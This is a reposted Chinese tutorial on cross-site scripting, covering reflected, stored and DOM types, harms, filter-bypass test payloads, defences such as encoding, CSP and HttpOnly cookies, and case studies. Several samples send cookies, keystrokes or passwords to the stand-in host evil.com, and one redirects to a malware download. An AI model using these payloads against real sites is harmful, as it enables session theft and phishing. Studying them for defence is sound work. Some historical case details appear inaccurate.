当前位置: 首页 > news >正文

xss的介绍

跨站脚本攻击(XSS)详细介绍

一、什么是XSS

跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意脚本代码,当用户访问该网站时,这些脚本会在用户的浏览器中执行,从而窃取用户敏感信息、劫持用户会话、篡改网页内容等。

核心原理:攻击者利用网站对用户输入过滤不严格的问题,将恶意代码注入到网页中。

二、XSS攻击类型

1. 反射型XSS(非持久型)

特点:恶意脚本不存储在目标服务器,而是通过URL参数、表单提交等方式即时反射回来执行。

攻击流程

用户点击恶意链接 → 请求发送到服务器 → 服务器返回带恶意脚本的页面 → 用户浏览器执行脚本

示例

<!-- 存在漏洞的搜索功能 -->
<input type="text" name="search" value="<?php echo $_GET['search']; ?>"><!-- 攻击者构造的URL -->
http://example.com/search.php?search=<script>alert('XSS')</script>

2. 存储型XSS(持久型)

特点:恶意脚本被永久存储在目标服务器(数据库、文件系统等),每当用户访问受影响页面时都会执行。

攻击流程

攻击者提交恶意数据 → 服务器存储到数据库 → 其他用户请求页面 → 服务器返回恶意脚本 → 用户浏览器执行

常见场景

  • 评论区/论坛帖子
  • 用户个人资料(签名、介绍)
  • 留言板
  • 商品评论

示例

// 攻击者在评论区提交
<script>fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>// 其他用户查看评论时,cookie被窃取

3. DOM型XSS

特点:完全不经过服务器,通过修改DOM环境中的JavaScript代码执行。

攻击流程

用户点击链接 → 客户端JavaScript解析URL参数 → 直接修改DOM → 恶意脚本执行

示例

<!-- 漏洞代码 -->
<script>var name = location.hash.substring(1);document.write("Welcome " + name);
</script><!-- 攻击URL -->
http://example.com/#<img src=x onerror=alert(1)>

三、XSS的危害

1. 会话劫持

// 窃取Cookie
var img = new Image();
img.src = 'http://evil.com/steal?cookie=' + document.cookie;

2. 键盘记录

document.onkeypress = function(e) {fetch('http://evil.com/log', {method: 'POST',body: 'key=' + e.key});
}

3. 钓鱼攻击

// 伪造登录表单
document.body.innerHTML = `<div style="position:absolute;top:0;width:100%;height:100%;background:white"><form action="http://evil.com/phish"><input type="password" name="password"><button>请重新登录</button></form></div>
`;

4. 内网探测

// 探测内网IP
fetch('http://192.168.1.1').then(res => fetch('http://evil.com/ip?found=true'));

5. 强制下载恶意软件

window.location = 'http://evil.com/virus.exe';

四、XSS检测方法

1. 手动测试Payload

基础测试

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

绕过过滤

<!-- 大小写混淆 -->
<ScRiPt>alert(1)</ScRiPt><!-- 编码绕过 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)><!-- 事件属性 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus><!-- 伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

2. 自动化工具

  • Burp Suite - 专业Web安全测试工具
  • OWASP ZAP - 开源安全扫描器
  • XSStrike - 高级XSS检测工具
  • Arachni - 全功能Web扫描器

五、防御措施

1. 输出编码(最重要)

根据上下文选择正确的编码方式:

// HTML实体编码
function htmlEncode(str) {return str.replace(/[&<>]/g, function(m) {if (m === '&') return '&amp;';if (m === '<') return '&lt;';if (m === '>') return '&gt;';return m;});
}// HTML属性编码
function attributeEncode(str) {return str.replace(/[&<>"']/g, function(m) {// 编码所有特殊字符});
}// JavaScript编码
function jsEncode(str) {return str.replace(/[\\'"]/g, function(m) {return '\\' + m.charCodeAt(0).toString(16);});
}

2. 输入过滤(白名单优先)

// 使用白名单
$allowedTags = '<b><i><u>';
$clean = strip_tags($input, $allowedTags);// 使用HTML Purifier(PHP)
require_once 'HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$clean = $purifier->purify($input);

3. 使用CSP(内容安全策略)

# HTTP响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
<!-- Meta标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-abc123'">

4. Cookie安全设置

Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:禁止JavaScript访问Cookie
  • Secure:仅HTTPS传输
  • SameSite:防止CSRF和部分XSS滥用

5. 使用安全框架

React(自动转义):

// 默认安全
<div>{userInput}</div> // 危险操作(需谨慎)
<div dangerouslySetInnerHTML={{__html: userInput}} />

Vue

<!-- 自动转义文本 -->
<div>{{ userInput }}</div><!-- 危险操作 -->
<div v-html="userInput"></div>

其他框架

  • Angular - 默认编码
  • Django模板 - 自动转义
  • Ruby on Rails - 自动转义

六、实战案例

案例1:Twitter的XSS蠕虫(2010年)

  • 利用存储型XSS
  • 自动发送带恶意链接的推文
  • 短时间内感染数十万用户
  • 教训:未过滤JSONP回调参数

案例2:MySpace的Samy蠕虫(2005年)

  • 利用DOM型XSS
  • 16小时内感染100万用户
  • 绕过过滤器:javascript: 拼接、事件属性混淆

案例3:某电商平台评论XSS

  • 评论功能未过滤 <img> 标签
  • 攻击者窃取管理员Cookie
  • 获取后台权限,盗取用户数据

七、检测与修复工具

开发阶段

  • ESLint (with security plugin)
  • OWASP Dependency-Check
  • Snyk

测试阶段

  • OWASP ZAP
  • Burp Suite Professional
  • Google CSP Evaluator

运行时防护

  • ModSecurity (WAF)
  • Cloudflare WAF
  • AWS WAF

八、最佳实践总结

  1. 永远不要信任用户输入
  2. 采用白名单而非黑名单过滤
  3. 根据输出位置选择合适的编码方式
  4. 实施严格的CSP策略
  5. 使用HttpOnly和Secure标志的Cookie
  6. 定期进行安全审计和渗透测试
  7. 保持框架和依赖库的更新
  8. 安全团队进行代码审查
  9. 建立漏洞报告和应急响应机制
  10. 开发人员必须接受安全培训

XSS虽然历史悠久,但在现代Web应用中仍然普遍存在。通过理解其原理、掌握防御技术,可以有效降低安全风险。记住:输出编码是防御XSS的核心,配合CSP和HttpOnly Cookie才能构建完整防御体系。

http://www.jsqmd.com/news/739434/

相关文章:

  • LLM驱动的硬件木马攻防新范式解析
  • Spring 框架 05:Spring AOP 配置文件方式详解
  • 通过官方价折扣与活动价降低大模型api的长期使用成本
  • 如何用Keyviz免费工具让键盘鼠标操作一目了然?完整指南
  • 别急着装Kubuntu!在Ubuntu上保留GNOME的同时体验KDE Plasma(双桌面共存指南)
  • 新手也会的 Win10 OpenClaw 一键部署
  • Stacklit:现代化技术栈聚合平台的设计理念与实战应用
  • 解锁PotPlayer字幕实时翻译:百度翻译插件全攻略
  • 从存储涨价到AI泡沫:2026-2027,算总账的时刻
  • STM32 FOC电机控制:从ST官方PID代码到实战调参,手把手教你避开整数运算的坑
  • Claw-Voice-Chat:基于OpenClaw的实时语音聊天界面部署与配置指南
  • bypy终极指南:5分钟掌握百度云命令行同步神器
  • 2026年4月国内专业的激光再制造厂家推荐,激光再制造,激光再制造技术厂家选哪家 - 品牌推荐师
  • MinIO视频播放报错206?别只盯着证书,可能是Nginx的‘缓冲区’在捣鬼(避坑指南)
  • 快速原型开发中借助Taotoken模型广场高效进行模型选型
  • 3步终极解决方案:如何一次性修复Windows系统所有VC++运行时组件问题
  • 3分钟图形化教程:用TegraRcmGUI轻松解锁Switch隐藏功能
  • 金融交易智能化转型中的LLM应用与优化
  • Spring Boot+Vue电商系统开发实战:架构设计与核心实现
  • 3步解决MediaPipe TouchDesigner摄像头配置难题:GPU加速视觉插件实战指南
  • 视觉反射机制:多模态大模型的认知突破
  • ThinkPad风扇控制技术深度解析:TPFanCtrl2开源工具完全指南
  • Prompt-Wizard:结构化提示工程框架,提升大模型输出质量与可控性
  • 芯片FAE、AE、Sales Engineer傻傻分不清?一文讲透半导体公司的前线岗位分工与协作
  • 从零玩转SMBus:手把手教你用Arduino模拟智能电池管理(BMS)通信
  • 利用多模型聚合能力为内容生成应用提供备选方案
  • 原神帧率解锁:突破60帧限制的技术解决方案
  • ros2 humble gazebo+rviz+maprviz
  • 如何优雅地解决八大网盘下载限速问题
  • 网盘直链下载助手:一键获取八大网盘真实下载地址的终极指南